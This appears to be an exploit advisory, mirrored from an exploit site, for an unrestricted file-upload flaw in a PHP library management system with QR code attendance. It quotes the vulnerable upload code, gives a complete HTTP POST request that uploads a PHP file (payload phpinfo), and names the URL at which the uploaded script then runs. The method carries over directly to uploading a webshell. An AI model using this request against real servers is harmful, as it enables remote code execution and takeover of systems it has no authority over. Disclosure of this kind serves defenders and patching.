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## https://sploitus.com/exploit?id=PACKETSTORM:167588
#### Title: Library Management System with QR code Attendance_File Upload
RCE
#### Author: Ashish Kumar (
https://www.linkedin.com/in/ashish-kumar-0b65a3184)
#### Date: 27.06.2022
#### Vendor: https://www.sourcecodester.com/users/kingbhob02
#### Software:
https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
#### Version: 1.0
#### Reference:
https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.md
#### Description：
#### At the file upload function, the application system checks the
validity of the file type, format, and content uploaded by the user, so
that attackers can upload Webshell (.php, .jsp, asp, etc.) malicious script
files or files in unexpected formats, such as: HTML files, SHTML files,
etc., at the same time, you can use characters such as directory jump or
control the upload directory to directly upload files to the Web directory
or any directory, which may lead to the execution of arbitrary malicious
script files on the remote server, thereby directly obtaining application
system permissions.
#### $uploaddir = 'assets/uploads/';
#### $uploadfile = $uploaddir . basename($_FILES['image']['name']);
#### Payload used:
`<?php phpinfo();?>`
### POC
```
POST /LMS/card/index.php HTTP/1.1
Host: localhost
Content-Length: 1056
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryngJP5BxPA6UsA91O
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/LMS/card/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
Connection: close
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="name"
File_Upload
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="grade"
Computer Studies
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="dob"
Student
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="address"
Testing Testing
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="email"
ashish@cyberthoth.in
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="exp_date"
1990-02-11
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="id_no"
8529637
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="phone"
1212121212
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="image"; filename="File_upload.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryngJP5BxPA6UsA91O--
```
#### Access below URL:
`http://localhost/LMS/card/assets/uploads/File_upload.php`
